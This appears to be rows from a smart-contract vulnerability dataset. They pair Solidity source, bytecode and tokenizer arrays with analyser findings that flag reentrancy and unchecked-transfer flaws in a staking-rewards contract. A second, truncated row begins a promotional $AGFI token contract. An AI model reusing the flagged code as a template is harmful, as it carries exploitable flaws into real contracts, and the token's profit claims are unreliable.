onlyRewardsDistribution() { require(msg.sender == rewardsDistribution, "not rewards distribution"); _; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IEmergency { function emergencyWithdraw(IERC20 token) external ; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IEIP2612 is IERC20 { function DOMAIN_SEPARATOR() external view returns (bytes32); function nonces(address owner) external view returns (uint256); function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; interface IStakingRewards { // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardAdded(uint256 reward); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x608060405234801561001057600080fd5b50600436106101975760003560e01c80637b0a47ee116100e3578063cd3daf9d1161008c578063e9fad8ee11610066578063e9fad8ee14610349578063ebe2b12b14610351578063ecd9ba821461035957610197565b8063cd3daf9d14610331578063d1af0c7d14610339578063df136d651461034157610197565b8063a694fc3a116100bd578063a694fc3a14610304578063be9ee11f14610321578063c8f33c911461032957610197565b80637b0a47ee146102ce57806380faa57d146102d65780638b876347146102de57610197565b80633c6b16ab116101455780636ff1c9bc1161011f5780636ff1c9bc1461027a57806370a08231146102a057806372f702f3146102c657610197565b80633c6b16ab146102315780633d18b9121461024e5780633fc6df6e1461025657610197565b80631c1f78eb116101765780631c1f78eb146102025780632e1a7d4d1461020a578063386a95251461022957610197565b80628cc2621461019c5780630700037d146101d457806318160ddd146101fa575b600080fd5b6101c2600480360360208110156101b257600080fd5b50356001600160a01b0316610391565b60408051918252519081900360200190f35b6101c2600480360360208110156101ea57600080fd5b50356001600160a01b031661040f565b6101c2610421565b6101c2610428565b6102276004803603602081101561022057600080fd5b5035610446565b005b6101c26105e7565b6102276004803603602081101561024757600080fd5b50356105ed565b610227610836565b61025e61096c565b604080516001600160a01b039092168252519081900360200190f35b6102276004803603602081101561029057600080fd5b50356001600160a01b031661097b565b6101c2600480360360208110156102b657600080fd5b50356001600160a01b0316610b0f565b61025e610b2a565b6101c2610b39565b6101c2610b3f565b6101c2600480360360208110156102f457600080fd5b50356001600160a01b0316610b4d565b6102276004803603602081101561031a57600080fd5b5035610b5f565b61025e610d01565b6101c2610d10565b6101c2610d16565b61025e610d64565b6101c2610d73565b610227610d79565b6101c2610d9c565b610227600480360360a081101561036f57600080fd5b5080359060208101359060ff6040820135169060608101359060800135610da2565b6001600160a01b0381166000908152600a60209081526040808320546009909252822054610409919061040390670de0b6b3a7640000906103fd906103de906103d8610d16565b90610fec565b6001600160a01b0388166000908152600c602052604090205490611049565b906110a9565b90611110565b92915050565b600a6020526000908152604090205481565b600b545b90565b600061044160065460055461104990919063ffffffff16565b905090565b6002600154141561049e576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600155336104ac610d16565b6008556104b7610b3f565b6007556001600160a01b038116156104fe576104d281610391565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b60008211610553576040805162461bcd60e51b815260206004820152601160248201527f63616e6e6f742077697468647261772030000000000000000000000000000000604482015290519081900360640190fd5b600b546105609083610fec565b600b55336000908152600c602052604090205461057d9083610fec565b336000818152600c60205260409020919091556003546105a9916001600160a01b03909116908461116a565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a2505060018055565b60065481565b6000546001600160a01b0316331461064c576040805162461bcd60e51b815260206004820152601860248201527f6e6f74207265776172647320646973747269627574696f6e0000000000000000604482015290519081900360640190fd5b6000610656610d16565b600855610661610b3f565b6007556001600160a01b038116156106a85761067c81610391565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b60045442106106c7576006546106bf9083906110a9565b60055561070a565b6004546000906106d79042610fec565b905060006106f06005548361104990919063ffffffff16565b600654909150610704906103fd8684611110565b60055550505b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561075557600080fd5b505afa158015610769573d6000803e3d6000fd5b505050506040513d602081101561077f57600080fd5b50516006549091506107929082906110a9565b60055411156107e8576040805162461bcd60e51b815260206004820152601860248201527f70726f76696465642072657761726420746f6f20686967680000000000000000604482015290519081900360640190fd5b4260078190556006546107fb9190611110565b6004556040805184815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a1505050565b6002600154141561088e576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026001553361089c610d16565b6008556108a7610b3f565b6007556001600160a01b038116156108ee576108c281610391565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b336000908152600a6020526040902054801561096457336000818152600a602052604081205560025461092d916001600160a01b03909116908361116a565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b505060018055565b6000546001600160a01b031681565b6002546001600160a01b038281169116148015906109a757506003546001600160a01b03828116911614155b6109f8576040805162461bcd60e51b815260206004820152600f60248201527f666f7262696464656e20746f6b656e0000000000000000000000000000000000604482015290519081900360640190fd5b600d54604080516370a0823160e01b815230600482015290516001600160a01b038085169363a9059cbb9391169184916370a08231916024808301926020929190829003018186803b158015610a4d57600080fd5b505afa158015610a61573d6000803e3d6000fd5b505050506040513d6020811015610a7757600080fd5b5051604080517fffffffff0000000000000000000000000000000000000000000000000000000060e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b158015610ae057600080fd5b505af1158015610af4573d6000803e3d6000fd5b505050506040513d6020811015610b0a57600080fd5b505050565b6001600160a01b03166000908152600c602052604090205490565b6003546001600160a01b031681565b60055481565b6000610441426004546111ea565b60096020526000908152604090205481565b60026001541415610bb7576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260015533610bc5610d16565b600855610bd0610b3f565b6007556001600160a01b03811615610c1757610beb81610391565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b60008211610c6c576040805162461bcd60e51b815260206004820152600e60248201527f63616e6e6f74207374616b652030000000000000000000000000000000000000604482015290519081900360640190fd5b600b54610c799083611110565b600b55336000908152600c6020526040902054610c969083611110565b336000818152600c6020526040902091909155600354610cc3916001600160a01b03909116903085611200565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a2505060018055565b600d546001600160a01b031681565b60075481565b6000600b5460001415610d2c5750600854610425565b610441610d5b600b546103fd670de0b6b3a7640000610d55600554610d556007546103d8610b3f565b90611049565b60085490611110565b6002546001600160a01b031681565b60085481565b336000908152600c6020526040902054610d9290610446565b610d9a610836565b565b60045481565b60026001541415610dfa576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260015533610e08610d16565b600855610e13610b3f565b6007556001600160a01b03811615610e5a57610e2e81610391565b6001600160a01b0382166000908152600a60209081526040808320939093556008546009909152919020555b60008611610eaf576040805162461bcd60e51b815260206004820152600e60248201527f63616e6e6f74207374616b652030000000000000000000000000000000000000604482015290519081900360640190fd5b600b54610ebc9087611110565b600b55336000908152600c6020526040902054610ed99087611110565b336000818152600c60205260408082209390935560035483517fd505accf0000000000000000000000000000000000000000000000000000000081526004810193909352306024840152604483018a90526064830189905260ff8816608484015260a4830187905260c4830186905292516001600160a01b039093169263d505accf9260e480820193929182900301818387803b158015610f7957600080fd5b505af1158015610f8d573d6000803e3d6000fd5b5050600354610faa92506001600160a01b03169050333089611200565b60408051878152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a250506001805550505050565b600082821115611043576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b60008261105857506000610409565b8282028284828161106557fe5b04146110a25760405162461bcd60e51b81526004018080602001828103825260218152602001806115836021913960400191505060405180910390fd5b9392505050565b60008082116110ff576040805162461bcd60e51b815260206004820152601a60248201527f536166654d6174683a206469766973696f6e206279207a65726f000000000000604482015290519081900360640190fd5b81838161110857fe5b049392505050565b6000828201838110156110a2576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb00000000000000000000000000000000000000000000000000000000179052610b0a90849061128e565b60008183106111f957816110a2565b5090919050565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd0000000000000000000000000000000000000000000000000000000017905261128890859061128e565b50505050565b60606112e3826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661133f9092919063ffffffff16565b805190915015610b0a5780806020019051602081101561130257600080fd5b5051610b0a5760405162461bcd60e51b815260040180806020018281038252602a8152602001806115a4602a913960400191505060405180910390fd5b606061134e8484600085611356565b949350505050565b6060824710156113975760405162461bcd60e51b815260040180806020018281038252602681526020018061155d6026913960400191505060405180910390fd5b6113a0856114b2565b6113f1576040805162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015290519081900360640190fd5b60006060866001600160a01b031685876040518082805190602001908083835b602083106114305780518252601f199092019160209182019101611411565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114611492576040519150601f19603f3d011682016040523d82523d6000602084013e611497565b606091505b50915091506114a78282866114b8565b979650505050505050565b3b151590565b606083156114c75750816110a2565b8251156114d75782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611521578181015183820152602001611509565b50505050905090810190601f16801561154e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fdfe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122047ea4c962ee6e4ea74c6aacda22c531e8a2da129b0ead35b2d1060921647a5d764736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2620, 2497, 14526, 2683, 2546, 22932, 2475, 2050, 2509, 2050, 2692, 2683, 2575, 2278, 2692, 2094, 2629, 27717, 2546, 2620, 2050, 2692, 17465, 2629, 2497, 21472, 18939, 2497, 27009, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 2128, 4765, 5521, 5666, 18405, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 8785, 1013, 8785, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 3647, 2121, 2278, 11387, 1012, 14017, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,140
0x96491ac1F680c76EB8610b4389b8Dfa6F3a3C872
// SPDX-License-Identifier: MIT // File: contracts/IUniswapV2Router01.sol pragma solidity 0.8.13; // Aggregated Finance: $AGFI // Deflationary DeFi-as-a-Service (DaaS) Token, with 60% supply burned to 0x0dEaD // You buy on Ethereum, we execute algorithmic stablecoin strategies on various chains and return the profits to $AGFI holders. //Initial Supply: 1,000,000,000,000 $AGFI //60% of $AGFI burned to 0x0dEaD //10% of each buy goes to existing holders. //10% of each sell goes into various-chain algorithmic stablecoin investing to add to the treasury and buy back $AGFI tokens. // Twitter: https://twitter.com/AGFI_Official // Website: https://aggregated.finance/ // Telegram: https://t.me/aggregatedfinance interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // File: contracts/IUniswapV2Router02.sol pragma solidity 0.8.13; // Aggregated Finance: $AGFI // Deflationary DeFi-as-a-Service (DaaS) Token, with 60% supply burned to 0x0dEaD // You buy on Ethereum, we execute algorithmic stablecoin strategies on various chains and return the profits to $AGFI holders. //Initial Supply: 1,000,000,000,000 $AGFI //60% of $AGFI burned to 0x0dEaD //10% of each buy goes to existing holders. //10% of each sell goes into various-chain algorithmic stablecoin investing to add to the treasury and buy back $AGFI tokens. // Twitter: https://twitter.com/AGFI_Official // Website: https://aggregated.finance/ // Telegram: https://t.me/aggregatedfinance interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // File: contracts/IUniswapV2Pair.sol pragma solidity 0.8.13; // Aggregated Finance: $AGFI // Deflationary DeFi-as-a-Service (DaaS) Token, with 60% supply burned to 0x0dEaD // You buy on Ethereum, we execute algorithmic stablecoin strategies on various chains and return the profits to $AGFI holders. //Initial Supply: 1,000,000,000,000 $AGFI //60% of $AGFI burned to 0x0dEaD //10% of each buy goes to existing holders. //10% of each sell goes into various-chain algorithmic stablecoin investing to add to the treasury and buy back $AGFI tokens. // Twitter: https://twitter.com/AGFI_Official // Website: https://aggregated.finance/ // Telegram: https://t.me/aggregatedfinance interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/IUniswapV2Factory.sol pragma solidity 0.8.13; // Aggregated Finance: $AGFI // Deflationary DeFi-as-a-Service (DaaS) Token, with 60% supply burned to 0x0dEaD // You buy on Ethereum, we execute algorithmic stablecoin strategies on various chains and return the profits to $AGFI holders. //Initial Supply: 1,000,000,000,000 $AGFI //60% of $AGFI burned to 0x0dEaD //10% of each buy goes to existing holders. //10% of each sell goes into various-chain algorithmic stablecoin investing to add to the treasury and buy back $AGFI tokens. // Twitter: https://twitter.com/AGFI_Official // Website: https://aggregated.finance/ // Telegram: https://t.me/aggregatedfinance interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/Address.sol // OpenZeppelin Contracts v4.4.0 (utils/Address.sol) pragma solidity 0.8.13; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage 